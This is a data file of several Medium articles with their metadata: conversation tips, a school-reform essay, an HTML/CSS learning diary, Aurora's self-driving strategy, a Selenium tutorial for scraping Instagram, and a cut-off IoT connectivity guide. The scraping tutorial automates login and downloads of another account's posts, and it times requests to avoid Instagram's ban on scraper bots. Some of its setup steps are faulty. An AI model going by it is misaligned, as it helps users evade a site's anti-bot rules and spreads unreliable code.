Ask for/offer a favor
Ask for directions, ask for the time, ask for someone to help you reach something, or ask someone to help you hold something for a second. Not only is it a lot less awkward than most other openers, but it’s also actually known to deepen relationships.
There is a famous Benjamin Franklin story of winning over a political rival by asking for a favor, a feat he could not achieve with any amount of kindness. Two of my favorite media on this topic is the 100 days rejection therapy and the Ted Talk called “The Art of Asking” by Amanda Palmer. Watch these if you are skeptical about the magic of asking.
The reverse works as well. You can ask someone who looks lost if they need directions or offer to help a stranger lift something they are struggling with.
Follow up with “feeling” questions versus fact-based questions
After their initial response, it’s best to follow up with a question about how they feel about something instead of a fact-based question.
“Feeling” questions like “What makes you happy?” or “What are you passionate about?” will have a much higher potential of creating intimacy than a fact-based question like “What do you do?”.
If that seems way too awkward in the beginning, ask “What do you love best about <insert city>?”. They will usually fill in the why, and that will give you a pretty good insight into what they love doing.
“My favorite place is this club nearby where a lot of local indie bands play.” “Oh, what kind of music are you passionate about?” “My favorite place is this park that my dad used to take me to all the time.” “Sounds like your dad is an important person in your life.” “My favorite place is the beach. I try and get out and surf as much as I can.” “What is it that you love about surfing?”
Here are a few more examples of some easy “feeling” questions:
“What is your favorite music, book, cuisine, movie, etc.?” “What do you do for fun?” “Tell me about your culture/where you are from” — Though this is fact-based, it is often linked to strong emotions.
The quicker you can drive the conversation into something they love or hate, the better chance you have at creating intimacy. Favorite books and music also tend to have a deep emotional connection for most people and can often be linked to significant life events.
Don’t ask small talk questions
What you don’t talk about is just as important as what you do talk about. I’ve decided that small talk questions are almost designed to kill intimacy. Aside from the fact that they are almost always fact-based, the biggest problem with common small talk questions is that people have standard responses for them so their response is automatic and they are not engaging in this specific conversation with you.
If you meet a pretty girl in a club, she has likely been asked dozens of times that night, “How’s your night going?” or some other variations of “How are you?”
It’s hard to drive a conversation to somewhere different if the response is simply “Pretty good!”
Instead, try asking them something novel. Challenge yourself to ask them a question they might not have been asked that night. It doesn’t have to be something hard. An example could be:
“What’s been your favorite part of your night?” “What was your favorite song from the last set?” “Give me three words that describe your night.”
Phase 3: Connection
Listen. No, really listen.
Listen without trying to formulate a response. Listen without trying to make an impression. Listen to understand their story and what they care about. It’s hard, and anyone who says otherwise is a liar. Most people will reveal things they care about pretty quickly and you should follow their lead. Try making the first three responses you make about the other person and what they just told you.
“Friends are those rare people who ask how we are, and then wait to hear the answer.”― Ed Cunningham
Identify their passion and talk about it
People remember things that create a strong emotional response. They are more likely to engage more deeply with you and remember you if they were talking to you about something they’re passionate about.
If you were listening, you should be able to identify it as most people will pretty quickly reveal their passion. Ask questions about it.
This is my favorite part. Passion is energizing and it’s a joy to listen to. It’ll make your life easier because they can do all the talking but you’ll also find yourself in a more upbeat mood after the conversation.
Be their mirror
Being someone’s mirror means to reflect something meaningful back to them that they may not have been aware of. Typically, it’s to describe more subtle things back to them, to make them see that they are brave, passionate, considerate, determined, etc.
Trying to be a mirror forces you to really pay attention and find something about them you respect. This is a bit of an art but it’s a really powerful thing to do. It says to the person, “Hey, I see you and you are more than you think you are.”
Created by the author
It may seem disingenuous but it’s not. EVERYONE has something about them that they don’t see. Make them see themselves in a different way.
Make them laugh
If you have a quirky sense of humor, strangers are the best people to be yourself with. They won’t judge and even if they do, it doesn’t matter. So, go ahead, be the sarcastic, funny self you always hear in your own head. They will remember you for it.
Be willing to be vulnerable
Obviously, exercise this one in the right situations and as the conversation calls for. If someone is struggling with loneliness after just moving to a big city, you can express times when you felt the same when you first moved. Having shared emotions or experiences is a very bonding experience.
Phase 4: Conversion
If you’ve successfully made a connection, the next hurdle is to try to continue the relationship outside of the coffee shop, bus or park that you met them at. You may not want to do this with everyone, but here are some tips if you do.
Link the conversation to a location or activity
If someone says they love coffee, ask them what their favorite coffee shop is (location). They will say X coffee shop then you can respond by saying, “Oh, I’ve never been there before! Would you like to go with me?”
If you say, “I love rock climbing” and they have never done that before, you can say, “Oh, I’d be more than happy to take you. I know this great place for beginners.” (activity)
Created by the author
Listen for opportunities
If someone says, “I’ve always wanted to…”, that’s your cue to say, “That sounds like fun! I’d do that with you if you want.”
If someone tells you about their favorite book/song/movie, that’s your cue to say, “Hey, I’d love to read/hear/watch that. Would you mind texting it to me?”
Just ask
By this point, hopefully, they’ve told you their deepest darkest secrets and you can just come right out and say, “Hey, I’ve really enjoyed this conversation. Can we continue it another day?”
Seriously, the worse they can do is say no and it is literally impossible to die of embarrassment. | https://medium.com/better-humans/how-to-instantly-create-intimacy-with-any-person-you-meet-7edfcc435c10 | ['May Pang'] | 2019-07-15 18:48:22.759000+00:00 | ['Lyft', 'Introvert', 'Relationships', 'Networking', 'Self'] |
Seeing My Little Brother Cry Made Me Realize This: Our Schools Have Failed Us | Seeing My Little Brother Cry Made Me Realize This: Our Schools Have Failed Us
Inside A Child’s Brain by Uzy
My little brother comes to me after his Math exam and shows me his working on a problem. He says he isn’t sure if he got that question right, asking me to check his work. I don’t want to brag, but I am in college now, and for middle schoolers, I am a Math god. Using my ‘expertise,’ I went over his work; he had gotten the question wrong. Regrettably, I told him that, and he started crying.
I gave him water and consoled him, but he wouldn’t stop crying. I told him that it doesn’t matter; there will be more tests. I gave him one of those motivational speaker speeches to make him calm down. I have never seen him cry that heavily before, but he settled down, and we continued on with our day.
This incident left a heavy impact on my heart, and I could not stop thinking about it. I could not stop thinking about how messed up schools are these days. I believe that schools have failed to do their job. Instead of shaping our future, our children, they are ruining them. I can’t just sit by and watch children go through years of hell anymore. Enough is enough! I demand a change in the schooling system.
The Problem:
Instead of opening minds, fostering creativity, and birthing wisdom; schools are creating children with depression, anxiety, and stress. Now, I don’t believe that you shouldn’t go to school and grind, grind, grind. I would go as far as to say that schools are what makes humans different from animals. Schools control the future of the world, which is why the current school system makes me sad.
From a young age, a child is forced to carry a heavy burden on their back. A child has to get straight A’s, be likable, and follow a set of silly rules. All this enchains the child’s imagination and makes them into mindless bots. Knowledge has become secondary, and the goal now is to become the ‘perfect’ student. Schools are enchaining the dreams and creativity of children. A child’s dream is like a torch that lights up the world, and killing these dreams would make the world a dark place.
Schools need to become a place of learning; a place of freedom; a place of expression. I have had lots of inspirational teachers who changed my life. Alas, the school never supported them. One of my favourite teachers got fired for, well, being too famous. He had unusual teaching methods and won the respect of the students; that was his crime. If a school makes a child cry that, in my opinion, is a failed school. Schools need to become a source of smiles for children-not tears.
The Solution:
The schools I dream about only follow one syllabus: to leave a child with the best time of their life and the ability to think. These schools will teach science, math, and how to be a good human. A strict no drugs policy will not prevent children from doing drugs, but the ability to think will. A seed of wisdom needs to be sown in every child.
To make this happen, we need the best people in our communities to run our schools. The teachers are responsible for the future of the world. Throw the current syllabus out of the window. And design classes that produce artists, astronauts, and scientists. The world is heading to a scary place, and our future generation is our only hope. Otherwise, who knows, climate change or a nuclear war could be the end of us. | https://medium.com/illumination/seeing-my-little-brother-cry-made-me-realize-this-our-schools-have-failed-us-ebdd9e1618ed | [] | 2020-12-24 03:50:45.369000+00:00 | ['Problems In The World', 'Save The Children', 'Schools', 'Education Reform', 'Education Is Our Future'] |
HTML/CSS — Done | Not quite…
I’ve completed the preview HTML & CCS course on Code Academy and overall I’m very happy with what I’ve learnt. Editing classes of code so they all have a standard style, manipulating the box model, through to setting background images and inserting tables — this was a good course to pick up the basics of HTML/CSS.
The course is very user-friendly and much easier to pick up than the Ruby course. If I’d had my time over I would have started with this before moving onto Ruby later, just to get a taste of programming first. But in the end it’s all good. It was a good confidence boost to fully understand everything I was doing and seeing the big impact some simple changes can make to the format of a webpage. I still feel like I understood the majority of the Ruby course, but I would definitely need to keep referring back if I were to ever move onto a Ruby project. But that’s exactly how it’s supposed to be given I’m a complete novice. So I’m on the right track at least…
Lots of notation in HTML/CSS are pretty intuitive, e.g. font-size sets….the…font….size.
There are some trickier things to consider, like the sizing of boxes in the box model, and how sizing can be set with regards to pixels, ems, or by relative percentage. I’ve almost resigned to not learning hex colours — how can you even interpret those codes?!!!
When moving through the course you start to think how you would start such a project from scratch, and it really drives home the importance of planning. Sketching out how you want your website to look and interact — I can see this saving a lot of time in the long run. Failing to prepare and all that jazz…
I’ve caught the bug now. It’s daunting at the start when you see over half a dozen languages being streamed off when you google “What do you need to become a web developer” but in reality I think there’s a lot of cross-over and it’s more about syntax differences. To me it looks like you want to learn to program in general terms, and then the individual languages are just tools to help you get to that end point (but i could be very wrong!).
So HTML was the content. CSS is the style of the content. But it’s all very static at the moment. The natural transition leads me to JavaScript. So starting tomorrow I’ll be cracking on with the preview JavaScript module to get a taste of the most used language on the web (or so YouTube keeps telling me!).
I’ve also signed up to General Academy’s Dash project. It’s a free course and provides instruction on making 5 different projects:
Building a personal website
Build a responsive blog theme
Build a small business website
Build a CSS robot
Build a madlibs game
I think once I’ve gone through JavaScript then this project will help to cement the knowledge I’ve gained over the past couple of weeks. I’m hoping the course will teach how it’s all done from scratch and guide me through the process without too much spoon-feeding. Code Academy was great to give you snippets of info and helpe you though those tasks, but now I’d like to really improve my knowledge with less hand-holding. | https://medium.com/load-of-code/html-css-done-c28a23d5e546 | ['Stephen Roberts'] | 2017-07-31 22:33:09.343000+00:00 | ['Coding', 'Codeacademy', 'Code', 'CSS', 'HTML'] |
Aurora’s Approach to Development | At Aurora we believe that self-driving technology will dramatically improve the safety, accessibility, and convenience of transportation. Our mission is to deliver these benefits safely, quickly and broadly. In service of that mission, we wanted to share some of our thinking on how we approach the development of this technology. We wrote much of this for our employees in 2017, and it holds as our technical strategy today. We hope that you find it useful.
Self-driving cars are an applied science problem; not conventional product development. We structure our organization to solve hard science problems and build our partnerships to turn that science into products. We don’t believe in isolated research programs or teams separated from engineering; we believe we need the best engineers locked arms with the best domain specialists and we try to hire the unicorns who are amazing at both. We don’t believe in generic management or engineers as a fungible asset — leaders arise in our organization from deep understanding of how to deliver in an applied science setting.
Incrementalism is broken; long live incrementalism. We believe that an incrementalism where the system gets better across all domains (L2 to L3 to L4) simply doesn’t work. Drivers cannot be inattentively attentive. We will not release a system that misleads drivers about its capabilities and thus raises the already too-high risks of driving.
That said, boiling the ocean remains a bad idea. Instead, our approach to incrementalism identifies key areas that are of high value to society and ensures fully self-driving capability there first, growing our reach outward from areas of mastery.
Don’t test what doesn’t work. One common misconception in this space is that developing a self-driving system is “just about the data”, with the implicit assumption that the team with the most data will win. Our experience suggests this is not the case. Pursuing this view can lead to the generation of tremendous numbers of low-value autonomy miles. Self-driving cars can generate terabytes of data per hour, far more than is useful to process. The teams that don’t thoughtfully scale data pipelines that extract value will drown in data and operational complexity.
Here’s what we do differently:
We don’t test what we can’t simulate to work. Simulation may be doomed to succeed, but if code doesn’t work in simulation, it certainly won’t in the real world. We consistently test our code using unit tests, module tests and full system simulation tests before ever testing it on the road. Testing is the first step of reinforcement learning. Failed tests become example problems and constraints on what the system must do — they thus guide both engineering and learning.
Fuel the rockets. An adage we learned years ago says, “Don’t try to build a ladder to the moon”. The phrase came through the old Bell Labs days when convolutional neural networks were first being used to build commercial check-readers — the same technology that has helped transform computer vision into applied machine learning today. The implication is that building a ladder makes small progress each day and is gratifying for engineers. The problem is that it will never practically reach the goal. The way to actually get there is build a rocket, which will initially appear to make little-to-no visible progress and will sit on the pad for a long time. Once carefully built and tested, this rocket will cross the quarter million miles in a matter of days.
Each day we need to balance the immediacy of unblocking progress for our colleagues and partners with the need to fuel the rockets.
Our goal is to launch self-driving vehicles safely and quickly. That means we prefer to craft models and learn their parameters rather then manually tune them. We prefer fast experiments. If we can whip up a prototype in Python (or imperfectly efficient C++), we try that first. Internally, we make a judgement: would a learning system better perform what I’d like to achieve? If so, let’s do it, even though it will take incrementally more time in the short run. We have to fuel those rockets.
Our approach to learning:
We learn from experts. We build tools that enable us to collect high-quality annotations. Our experience has been that higher-quality annotations are more important than a larger quantity of lower-quality annotations. We learn from demonstration. We can get tremendously valuable data of how to drive from expert demonstration; we gain even more value from corrections to driving. Interventions indicate both (a) we made a significant mistake to get into this situation, and (b) how to recover from this situation. The first is harder to use, but is tremendously valuable and a large part of our work. We learn from simulation and real-world regression tests. Such scenarios serve as the constraints on our system — we want smooth, predictable, human-like behavior subject to the constraint that the behavior must correctly handle a battery of real-world and simulated cases.
Most of the work in machine learning lies in building the pipelines and infrastructure to support it, so this is where a large share of our early efforts are focused.
Design for learnability. In our software design, our goal is to think carefully about how a given approach will be trained in an existing framework and with reusable pipelines. We avoid building custom learning frameworks, as these add complexity and make building pipelines around them more complex. We should need a good reason not to simply implement and train them in a standard pipeline.
It is often very tricky to build in learning after the fact. Each design effort (document and review) should include whether we think learning is useful or not, and if so, how we will get effective training data. If we don’t think about how to get annotations, or how to encode loss, the resulting system will demand difficult-to-obtain and ambiguous (for labelers) annotations, as well as difficult custom training frameworks.
Consider, as an example, adding state-machine or modal behavior to planning — for instance, a discrete state on “lane changing” or not. Everywhere we can, we’d like to train our driving behavior from a combination of human driving data and then impose constraints as planning invariants (i.e. the SDV should never collide with simulated vehicles even if they are performing extreme maneuvers). We don’t want to have to manually annotate “this motion corresponds to a lane change that began at this point in time”, nor “ignore this pedestrian in your planning”, or other such discrete, special purpose, tasks. We rethink designs that don’t have a reasonable path to train. We believe that those who don’t design for learnability will be left behind.
Perception is a game of statistics. We believe it will ultimately be entirely possible to build a self-driving car that can get by on, for instance, cameras alone. However, getting autonomy out safely, quickly, and broadly means driving down errors as quickly as possible. Crudely speaking, if we have three independent modalities with epsilon miss-detection-rates and we combine them we can achieve an epsilon³ rate in perception. In practice, relatively orthogonal failure modes won’t achieve that level of benefit, however, an error every million miles can get boosted to an error every billion miles. It is extremely difficult to achieve this level of accuracy with a single modality alone.
Different sensor modalities have different strengths and weaknesses; thus, incorporating multiple modalities drives orders of magnitude improvements in the reliability of the system. Cameras suffer from difficulty in low-light and high dynamic range scenarios; radars suffer from limited resolution and artifacts due to multi-path and doppler ambiguity; lidars “see” obscurants. The images below show real examples from Aurora’s system while it was driving autonomously.
Cameras have limited dynamic range, making detection difficult.
Tunnels create a multi-path nightmare scenario for radar sensors.
Lidar is sensitive enough to detect snow, making it more difficult to identify important objects.
Maps make everything better. Just as humans are better drivers when they’ve been somewhere before, our system leverages knowledge gained from previous drives. We are building a series of safety measures which identify changes in this information and will ultimately allow vehicles to adapt before maps are updated. Moreover, we’ve designed our Atlas mapping system to be extremely fast to update with minimal data gathering and computation.
Why not forego maps altogether? Again, statistics — if a system only has to handle changes relative to the map 1% of the time, we can be up to two orders of magnitude safer then one that must always rely on only its real-time perceptions of the world.
Engineering excellence over dogma. We pride ourselves on being a team that can design and build with rigor. When we have a problem for which a reliable engineering process exists, we build the best version of that. We don’t believe that end-to-end learning will solve all problems. We do believe that the problem of self-driving demands a disciplined approach that carefully weaves together the best of modern machine learning with rigorous engineering, including, for instance, real-time systems, geometry, state estimation, high-performance, reliable, and scalable infrastructure, and decision making and control techniques.
Our goal is to thoughtfully combine the best of these approaches throughout, in an effort to achieve high-performance perception and a planning systems that maintain safety invariants while achieving predictable and human-like driving.
Aurora’s perception system tracking cyclists in a parking lot.
Aurora’s machine learned merging algorithm choosing to slot comfortably during a freeway merge.
Aurora’s self-driving car yielding to a pedestrian in an unmarked crosswalk in urban Pittsburgh.
Aurora’s perception system tracking a lane-splitting motorbike.
We care about review processes, we care about high quality, common-ownership of code, we favor extensive automation in testing, and we work hard to build scalable, reproducible analysis tools. We don’t stand on ceremony — we run experiments fast. When they work, we turn them into reliable code. When they don’t we go back to the drawing board.
None of these careful processes is necessarily novel, in fact that’s part of the point. We’ve learned a lot of lessons through the years. About what works and what doesn’t. About where the technology is headed and how to avoid future challenges to scalability of the solution.
We’re making a fresh start at building the driver by combining excellence in AI, rigorous engineering and a team with decades of experience building robots that work. Together we will deliver self-driving vehicles safely, quickly and broadly.
Welcome to the team,
Chris, Drew & Sterling | https://medium.com/aurora-blog/auroras-approach-to-development-5e42fec2ee4b | ['The Aurora Team'] | 2018-09-04 18:16:46.963000+00:00 | ['Company News', 'AI', 'Self Driving Cars', 'Technology', 'Machine Learning'] |
Web Scraping Instagram with Selenium Python | Selenium is one of the many tools that can be used to scrape a website. And now I want to explain how we can scrape the Instagram account from the website.
Why using Selenium?
As we know that many tools can be used to scraping data from a website, and the three most popular from them are Scrapy, Beautifulsoup, and Selenium. However, each of them has the special ability for their action to scrape a website.
You can search about Scrapy, Beautifulsoup, and many other tools that can be used to scraping in many other places, but now I want to explain how we choose Selenium for scraping this time here.
Selenium is a powerful tool for scraping. It can handle automation in a complex way. For example, we need to log in to our Instagram account to scraping Instagram’s website. And surprisingly, selenium can handle it such as log in to our Instagram account automatically.
Secondly, selenium can scrape the website using a timer that we can set as required. It very helpful since Instagram’s team has banned automatically scraper bot for its website. Yes, we can set the timer for our automatic scraper. So, our scraper doesn’t act rapidly which is can reduce the risk from banned by Instagram’s team.
Requirements
You must finish reading this article first, and then doing the practice technically. Familiar with a python programming language, especially the theory of OOP. We need a code editor and python that have been installed on your PC/Laptop. The browser, in this case, is Google Chrome, so the options that will be mentioned in this article are available on Google Chrome.
What you’ll learn
You will have knowledge about selenium python theory (auto login, auto click, auto scroll page down, auto download).
Download webdriver or geckodriver
One of the tools that we must prepare to run the selenium program is webdriver (for Chrome) or geckodriver (for Firefox). You can download it from here (for Chrome user) or here (for Firefox user).
Installing the required libraries
First, we must install a selenium library on our terminal such as the code below:
pip install selenium
Once it has been done, then we must install some python libraries required such as time and requests like the code below:
pip install time
and
pip install requests
Great! Our scraping environment has been prepared, and let’s code!
Importing the libraries
Here the code about importing the required libraries for scraping using selenium:
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time, urllib.request
import requests
In this tutorial, I use Chrome for scraping. So, we must import the webdriver library from selenium as the code above.
Setting the PATH code
The PATH code is the code that aims to connect our code with the browser. Here the code logic about PATH is below:
PATH = r"C:\download\chromedriver_win32\chromedriver.exe"
driver = webdriver.Chrome(PATH)
The code above represents that the chromedriver package that has been downloaded is in the download folder. And then the PATH variable code must be the same as the chromedriver package directory in the PC.
Get the Instagram’s website
After coding the PATH variable, then we must get Instagram’s website which is our scraping target. So, the code is below:
driver.get("https://www.instagram.com/")
Then you can save this code, and run it! And see…..
Well done! Our automatic bot is succeed in accessing Instagram’s website automatically.
Log in to our Instagram account
The next step is to log in to our Instagram account. In this case, I recommend you to use your second Instagram account to try this activity. I think it will reduce the risk of losing your Instagram account.
First, we must set the time to sleep from the time library, then we create the code about login to our Instagram account such as the code below:
#login
time.sleep(5)
username=driver.find_element_by_css_selector("input[name='username']")
password=driver.find_element_by_css_selector("input[name='password']")
username.clear()
password.clear()
username.send_keys("xxxxxx")
password.send_keys("123456")
login = driver.find_element_by_css_selector("button[type='submit']").click()
However, 5 is the time of waiting time for the next code to run. The time is represented by seconds.
Then we must know about the element for the username box which is used to Log In to our Instagram account by inspecting the element (CTRL+SHIFT+I) like the image below:
whereas the elements column as the image below:
As we know that the first step to creating the code to log in automatically is to search the username box. It aims to fill the blank username with our Instagram username account automatically.
According to the image above that, the selector of the username box is input. Whereas the name of the username box is username. And then the code is username=driver.find_element_by_css_selector(“input[name=’username’]”).
The same thing is applied to the password variable which is as the image below:
and the elements column is in below:
So we can get the type CSS selector for password box namely input, and the name of it named password. And then we must type the code to password=driver.find_element_by_css_selector(“input[name=’password’]”).
After that, we must input our username and password for our Instagram account by the send_keys option in those lines. In this case, I use my username namely “xxxxxx” and my password is “123456”.
The next step is login clicking automatically. It can be typed as login = driver.find_element_by_css_selector(“button[type=’submit’]”).click() where the thing is similar about create the username and password variable before. But for this action, we must add the click option in the last of the line for clicking automatically named .click().
Well, let’s run the code, and see!
Great job! We have done it!
Skip the pop-up automatically
And then, the next step after login into our Instagram account is by clicking the text named Not Now or Save Info. In this case, I use the Not Now option. Actually, you can choose the Save Info option if you want.
Then, like the same things as creating the username, password, and login variable, so we must type the code to create the Not Now variable as below:
#save your login info?
time.sleep(10)
notnow = driver.find_element_by_xpath("//button[contains(text(), 'Not Now')]").click()
#turn on notif
time.sleep(10)
notnow2 = driver.find_element_by_xpath("//button[contains(text(), 'Not Now')]").click()
The code above explains that the first step that we must code to skip the pop-up named Saved Your Login Info is to create the Not Now variable such as notnow = driver.find_element_by_xpath(“//button[contains(text(), ‘Not Now’)]”).click().
In this case, we try to get the element of the Not Now variable by find_element_by_xpath as explained in the selenium python website here. When we use the xpath method to search the location of the element, we can use the text targetted. For example, we use the text named Not Now when we want to get the location of the element Not Now in the pop-up notification by xpath method as the image below:
whereas the elements column like as the image below:
Let’s run it! And if you have done it, then you can find the second pop-up notification such as the image below:
The image above is the pop-up notification part two. It has appeared when the first pop-up notification named Saved Your Login Info is clicked. Then we will give the name for this pop-up notification part two namely Turn on Notifications pop-up.
So, we must create the variable the Turn on Notifications pop-up named the notnow2 variable. And we must do the same things about getting the variable of notnow2 by searching the location of its element as the image in below:
and the elements column as below:
so, the code is notnow2 = driver.find_element_by_xpath(“//button[contains(text(), ‘Not Now’)]”).click().
Let’s check the code! Run it, and see! (if this step has finished, you will find the primary page of your Instagram account).
Searchbox handling
Since we’ve found the primary page of our Instagram account named home, then we must go to the Instagram account target by type the name of our Instagram account target in the search box located at the top of the display as an image in below:
Then, we must get the element of the search box to fill the blank box automatically. In this case, we use the Instagram account public named host.py. (just click it to see the account)
Thus, the code that we can create by doing the same things with handling the pop-up automatically in the previous step is as the image below:
#searchbox
time.sleep(5)
searchbox=driver.find_element_by_css_selector("input[placeholder='Search']")
searchbox.clear()
searchbox.send_keys("host.py")
time.sleep(5)
searchbox.send_keys(Keys.ENTER)
time.sleep(5)
searchbox.send_keys(Keys.ENTER))
The code above explains that creating the searchbox variable is the first step that we must be doing to handle the search box automatically. So, we just take the same things about it which is to create the variables that we finished in the previous step.
And we must create the searchbox variable with the code searchbox=driver.find_element_by_css_selector(“input[placeholder=’Search’]”) where the type of this box is input. Whereas the type of the selector is placeholder named Search, like as image in below (you can find it by inspecting the elements):
After it, we must use the send_keys option from the library to type the Instagram account target to the search box automatically such as searchbox.send_keys(“host.py”).
Then, we must create the enter button automatically by fill the code with the Keys.ENTER option. (Notes: we must create it twice, and we should check it on the Instagram account website to debug it)
Lastly, if we have finished and success to run the code, then we will find the Instagram profile target like as image below:
Well done! You got it!
Scroll down the profile
Since we have the profile page for the target user, we must think that we have already scraped this page soon. However, we must scroll down the page automatically first before. Here the code:
#scroll
scrolldown=driver.execute_script("window.scrollTo(0, document.body.scrollHeight);var scrolldown=document.body.scrollHeight;return scrolldown;")
match=False
while(match==False):
last_count = scrolldown
time.sleep(3)
scrolldown = driver.execute_script("window.scrollTo(0, document.body.scrollHeight);var scrolldown=document.body.scrollHeight;return scrolldown;")
if last_count==scrolldown:
match=True
Then let’s check the code by running it, and see! (it must be scroll down the page automatically if you have succeeded)
Get the URL posts
Now, time to get these URL posts which are posted in https://instagram.com/host.py/!
As we know that there are 11 posts as images in there. So, we can create the code like as image below:
According to the image above, we must create the empty box which is used to accommodate all the URL posts named posts, and we can type the code like below:
posts = []
Then, we create the links variable which is to get all the elements that have the tag name “a”. Thus, create the for loop function to get all the URL posts by following the code as the image above, and print!
Now, the code to get all URL posts has been created. We can check it out, and see! (just wait for a few minutes)
Exactly! The image above represents all the URL posts on the page, which shows 11 URLs in there. Good job!
Download all of the posts
Lastly, we must download all of the posts on there, and save them to our directory where the script has been saved on. So, the code is in below:
The image above explains that we must create a variable to accommodate all the names of images that we want to download named shortcode firstly. For example, when the URL’s name of the first post is https://www.instagram.com/p/CNMnQ0JAPfA/ so we can give the name CNMnQ0JAPfA.jpg to the file. Then it must be applied to the others files.
I assume that we have understood how we can get the selector for the download_url variable that has been written in the image above.
Conclusion
Finally, we have got all about the code completely in here. So what are we waiting for? Here the code:
Let’s run and see!
Hope this helps! | https://medium.com/analytics-vidhya/web-scraping-instagram-with-selenium-python-b8e77af32ad4 | ['Arry M. Lani'] | 2021-04-11 15:34:53.478000+00:00 | ['Selenium', 'Scraping', 'Python', 'Instagram', 'Selenium Webdriver'] |
Playbook for Cellular IoT Connectivity | Businesses have the freedom to now choose the connectivity that suits their use of cases arising from user need, rather than industry specificity. With any IoT project, trade-offs must be made when selecting how to connect your device. Factors to consider include latency, battery life, coverage, mobility, and throughput. From a mobility perspective, cellular may seem like the clear winner-providing much better transportability of devices than WiFi-however, not all cellular technologies are designed for devices that move around frequently.
This article will help you choose the right connectivity for your needs. Key Takeaways:
Common functionality of high-performance cellular connectivity
Common functionality of Low-Power Wide-Area Networks (LPWAN)
For high-performance cellular a review of LTE Cat-4 and LTE Cat-1
A look at two leading cellular LPWAN technologies: Long Term Evolution for Machines (LTE M) and Narrow Band IoT (NB-IoT)
Why Twilio Programmable Wireless is the connectivity provider for IoT
In this article, we compare wide area networks (WANs), including high-performance cellular and Low-Power Wide-Area Networks (LPWAN) alternatives, to help you choose the right connectivity for your specific needs. With any IoT project, trade-offs must be made when selecting how to connect your device. Factors to consider include latency, battery life, coverage, mobility, and throughput. From a mobility perspective, cellular may seem like the clear winner-providing much better transportability of devices than WiFi-however, not all cellular technologies are designed for devices that move around frequently. Rely on this article to give you a clear picture of the different cellular IoT connectivity options available, including licensed LPWAN connectivity.
Table of contents
Introduction
Building for Wide Area IoT
The IoT Landscape: High-Performance Cellular vs. Low-Power Wide Area Networks
Critical IoT — High-Performance Cellular
Massive IoT — Low-Power Wide Area Networks (LPWAN)
Your Connectivity Provider for IoT
Introduction
The explosive growth of the Internet of Things (IoT) in our homes, across cities, and in commercial buildings, means developers can build IoT solutions like never before. It’s estimated that by 2020 there will be nearly 26 billion IoT-connected devices.
At each layer of the IoT stack, industry standards define how components should interact, and yet deploying a functional solution remains prohibitively difficult. In contrast to software application development, where best practices for building and deploying a global app are well known, there is no comparable playbook for IoT. There are several universal challenges with IoT that account for this:
Every IoT device has its own unique hardware features.
For most people, manufacturing is a total black box, with unpredictable costs and timelines.
There are different options for connectivity to suit different IoT use cases.
Historically, consumer demand for handsets drove the density and capacity of networks. Today, there’s enough demand for the IoT that there are new lenses through which we can look at Wide Area Networks. The first is known as Critical IoT; the continued development of consumer-grade, high-throughput advanced solutions. Critical IoT applications have very high demands for reliability, availability, and low latency with high data throughput.
The second lense is Massive IoT: large-scale, mostly low-power deployments.
Massive IoT applications are the tens of billions of devices that require ubiquitous connectivity and report sensor data to the cloud on an intermittent basis. Their requirements are high connection volumes, small data packets, low-cost devices, and low energy consumption. Critical IoT applications have very high demands for reliability, availability, and low latency with high data throughput.
Building for Wide Area IoT
With any IoT project, trade-offs must be made when selecting how to connect your device. Factors to consider include latency, battery life, coverage, mobility, and throughput. From a mobility perspective, cellular may seem like the clear winner-providing much better transportability of devices than WiFi-however, not all cellular technologies are designed for devices that move around frequently. In particular, Narrowband IoT is a cellular technology that uses ‘active mode mobility,’ which means it can move around and report in new locations but it can’t ‘stream’ constant information as it does so.
Businesses have the freedom to choose the connectivity that suits their use of cases arising from user need, rather than industry specificity. The introduction of IoT to businesses and consumers alike has the potential to create value in new ways and to transform how we live and work.
The IoT Landscape: High-Performance Cellular vs. Low-Power Wide Area Networks
There are several factors to consider when choosing the right connectivity for your IoT use-case. In this guide, we compare wide area networks (WANs), including high-performance cellular and Low-Power Wide-Area Networks (LPWAN) alternatives, to help you choose the right connectivity for your specific needs.
IDC expects the global market spend for IoT connectivity to reach $224.7 billion by 2021, at a 13.8% CAGR.
Critical IoT — High-Performance Cellular
In the past twenty years, mobile phone adoption laid the foundation for 3G and LTE networks globally, providing connectivity for more data and faster speeds. However, 2G, 3G, and high-speed LTE consume too much power and don’t suit applications where only a small amount of data is transmitted infrequently. Plus, the continuous evolution of new protocols means that as a generation of radio technology is phased out, devices are discontinued and must be replaced at a heavy cost.
Critical IoT applications have very high demands for reliability, availability, and low latency-all of which LTE or 5G capabilities can fully realize.
Let’s take a look at some common functionality of high-performance cellular connectivity
Built to handle massive volumes of data traffic
High consumer handset demand
Battery life directly correlates to usage and consumption
Limited propagation deep indoors and underground
Best for high bandwidth and power-hungry applications
The volume and scope of Critical IoT applications and solutions will be much smaller than for Massive IoT, but the business value will be much higher. There is more at stake when a connection goes down. For example, if you are performing a medical procedure remotely, a patient’s life depends on the connection being reliable.
When looking at high-performance cellular for your project, there are a number of options
LTE Cat-4: The proliferation of smartphones and apps led to the standardization of Cat-4 devices, which support 150 Mbps downlink peak rates and 50 Mbps uplink peak rates-most suitable for higher data consumption use cases, like video.
LTE Cat-1: A cellular IoT option that represents an early push towards connecting IoT devices using existing LTE networks. Use cases include IoT applications that require a browser interface or voice, such as ATMs, kiosks, video surveillance, vehicle telematics. Experts predict Cat-1 will replace 3G when it sunsets.
Massive IoT — Low-Power Wide Area Networks (LPWAN)
Massive IoT applications are typically low-cost devices that have low energy demands and require broad coverage-and Low-Power Wide-Area Networks (LPWAN) is the best fit to satisfy the scale and density required.
LPWAN is a category of wide-area wireless technology designed to optimize four main application needs of IoT: cost, battery life, coverage, and network. By 2025, it’s expected that four billion IoT devices will rely on LPWA networks.
Let’s take a look at some common functionality of LPWAN
Low Power: An LPWAN connected device doesn’t need to draw as much power to send and receive data because it has a slower throughput and lower bitrate.
Lower Cost Devices: The cost of LPWAN modules (the components inside sensors that transmit and/or receive radio signals) is expected to drop over the next several years as the market grows. Also, the low power requirements of an LPWAN modem means smaller batteries are needed.
Low Maintenance Costs: LPWAN sensor batteries can last ten years or more, depending on the application, and longer battery life means longer replacement cycles.
For low bandwidth and low-power applications
When looking at the technical specifications for LPWAN the differences are small but important. Let’s take a more in-depth look at Cellular LPWAN:
Cellular LPWAN networks, offered by mobile network operators, complement and extend conventional WANs that make use of 2G, 3G, and 4G LTE cellular technologies. The main advantage of cellular LPWAN technologies is that in many cases they only require a simple software update to the providers existing infrastructure-no new radio hardware is required.
Cellular LPWAN technologies have significant advantages over their non-cellular counterparts
Strong support from the telecommunications ecosystem
